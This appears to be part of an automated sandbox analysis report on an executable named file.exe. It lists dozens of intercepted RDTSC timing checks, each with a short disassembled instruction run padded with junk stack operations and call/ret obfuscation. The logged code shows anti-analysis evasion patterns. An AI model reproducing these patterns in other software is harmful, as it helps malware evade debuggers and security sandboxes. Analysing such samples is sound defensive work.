Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B665 second address: 102B67C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B67C second address: 102B69B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B69B second address: 102B6A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F35A91AEE9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BF54 second address: 102BF7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F35A9347BB5h 0x00000011 jmp 00007F35A9347BAFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F367 second address: 102F36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F36B second address: 102F396 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F35A9347BB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F35A9347BA6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F396 second address: 102F3CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F35A91AEEA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F6DB second address: 102F6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102FAA8 second address: 102FAC1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F35A91AEE98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F35A91AEE9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10305A7 second address: 10305AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030650 second address: 1030654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030654 second address: 1030658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032667 second address: 103266B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033002 second address: 1033006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033006 second address: 1033078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b jmp 00007F35A91AEEA2h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F35A91AEE98h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D1C31h] 0x00000032 push 00000000h 0x00000034 xchg eax, ebx 0x00000035 jp 00007F35A91AEEA3h 0x0000003b jmp 00007F35A91AEE9Dh 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 ja 00007F35A91AEE9Ch 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033BEC second address: 1033BF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039E23 second address: 1039E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039E27 second address: 1039EAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F35A9347BA8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 pushad 0x00000024 mov di, cx 0x00000027 add esi, 3B3D339Ah 0x0000002d popad 0x0000002e mov ebx, dword ptr [ebp+122D2D29h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F35A9347BA8h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 jns 00007F35A9347BACh 0x00000056 jns 00007F35A9347BACh 0x0000005c xchg eax, esi 0x0000005d push ecx 0x0000005e ja 00007F35A9347BACh 0x00000064 pop ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C018 second address: 103C022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C022 second address: 103C026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C026 second address: 103C02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF304A second address: FF3062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A9347BADh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3062 second address: FF3066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C6C5 second address: 103C74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jnc 00007F35A9347BBAh 0x0000000d jmp 00007F35A9347BAFh 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F35A9347BA8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e jmp 00007F35A9347BABh 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F35A9347BA8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D2917h] 0x00000055 push 00000000h 0x00000057 xchg eax, esi 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C74C second address: 103C755 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103D914 second address: 103D948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jns 00007F35A9347BACh 0x00000012 pushad 0x00000013 jnc 00007F35A9347BA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F745 second address: 103F756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F35A91AEE96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F756 second address: 103F760 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040710 second address: 1040771 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F35A91AEE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007F35A91AEE9Ch 0x00000011 nop 0x00000012 pushad 0x00000013 jnp 00007F35A91AEE96h 0x00000019 mov edi, 77209845h 0x0000001e popad 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F35A91AEE98h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov edi, dword ptr [ebp+1247DCFCh] 0x00000041 mov edi, 1DB7C225h 0x00000046 push 00000000h 0x00000048 jmp 00007F35A91AEE9Bh 0x0000004d xchg eax, esi 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F90C second address: 103F9AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F35A9347BA6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or ebx, dword ptr [ebp+1245CCB3h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F35A9347BA8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 jng 00007F35A9347BACh 0x0000003c mov edi, dword ptr [ebp+122D3658h] 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 cld 0x0000004a mov eax, dword ptr [ebp+122D014Dh] 0x00000050 push 00000000h 0x00000052 push ebp 0x00000053 call 00007F35A9347BA8h 0x00000058 pop ebp 0x00000059 mov dword ptr [esp+04h], ebp 0x0000005d add dword ptr [esp+04h], 00000016h 0x00000065 inc ebp 0x00000066 push ebp 0x00000067 ret 0x00000068 pop ebp 0x00000069 ret 0x0000006a sub ebx, 45153724h 0x00000070 push FFFFFFFFh 0x00000072 mov ebx, dword ptr [ebp+122D2BEDh] 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F35A9347BB8h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F9AD second address: 103F9B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10416A4 second address: 104172D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F35A9347BA8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2F19h], eax 0x0000002b push 00000000h 0x0000002d jmp 00007F35A9347BAAh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F35A9347BA8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e call 00007F35A9347BB5h 0x00000053 mov edi, dword ptr [ebp+122D3AA0h] 0x00000059 pop edi 0x0000005a push eax 0x0000005b jl 00007F35A9347BB0h 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10408CE second address: 1040967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jno 00007F35A91AEEA4h 0x00000011 nop 0x00000012 push ebx 0x00000013 sub ebx, dword ptr [ebp+122D2B95h] 0x00000019 pop edi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F35A91AEE98h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F35A91AEE98h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 0000001Dh 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c mov di, si 0x0000005f mov eax, dword ptr [ebp+122D018Dh] 0x00000065 sub dword ptr [ebp+122D2F19h], edx 0x0000006b push FFFFFFFFh 0x0000006d nop 0x0000006e push eax 0x0000006f push edx 0x00000070 push esi 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040967 second address: 104096C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041840 second address: 10418C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F35A91AEE98h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov bl, dh 0x00000025 xor ebx, dword ptr [ebp+122D3371h] 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F35A91AEE98h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 mov eax, dword ptr [ebp+122D0D85h] 0x00000059 mov ebx, dword ptr [ebp+122D2D01h] 0x0000005f push FFFFFFFFh 0x00000061 nop 0x00000062 push edi 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F35A91AEE9Ch 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10429B9 second address: 10429E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A9347BAAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10429E1 second address: 10429E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10429E5 second address: 10429EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10448ED second address: 10448F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10429EB second address: 10429F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10448F1 second address: 1044911 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10429F0 second address: 10429F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046998 second address: 104699D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044B9A second address: 1044BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A67 second address: 1043A77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044BA0 second address: 1044BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047B56 second address: 1047B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043A77 second address: 1043A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F35A9347BB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048BCE second address: 1048BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047B5A second address: 1047B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049A7C second address: 1049A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F35A91AEE96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048CE9 second address: 1048CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049A87 second address: 1049AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F35A91AEEA0h 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+122D2C41h] 0x00000015 push 00000000h 0x00000017 sub bx, FA52h 0x0000001c add dword ptr [ebp+122D5983h], edi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F35A91AEE98h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov edi, dword ptr [ebp+122D2D59h] 0x00000044 xchg eax, esi 0x00000045 jmp 00007F35A91AEEA8h 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push edi 0x0000004f pop edi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BA5B second address: 104BA5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C088 second address: 104C0A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F35A91AEE9Ch 0x00000008 js 00007F35A91AEE96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jbe 00007F35A91AEE96h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C37D second address: 104C38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104C38B second address: 104C390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D84 second address: 1052D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D8A second address: 1052D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D8F second address: 1052D94 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105302B second address: 105304D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F35A91AEE96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F35A91AEEA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105304D second address: 1053057 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F35A9347BACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053057 second address: 105306B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jnl 00007F35A91AEE96h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105306B second address: 105308D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnp 00007F35A9347BAAh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F35A9347BABh 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F35A9347BA6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1059B67 second address: 1059BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F35A91AEE96h 0x0000000a popad 0x0000000b pop ebx 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jl 00007F35A91AEE9Ah 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jnp 00007F35A91AEE98h 0x0000001f push eax 0x00000020 pop eax 0x00000021 jg 00007F35A91AEE98h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F35A91AEEA8h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E281 second address: 105E287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E287 second address: 105E2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A91AEEA3h 0x00000009 popad 0x0000000a jnl 00007F35A91AEE9Ah 0x00000010 pushad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EA57 second address: 105EA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EA5B second address: 105EA5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105EA5F second address: 105EA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F35A9347BB1h 0x0000000c jo 00007F35A9347BA6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F137 second address: 105F141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F35A91AEE96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F141 second address: 105F147 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
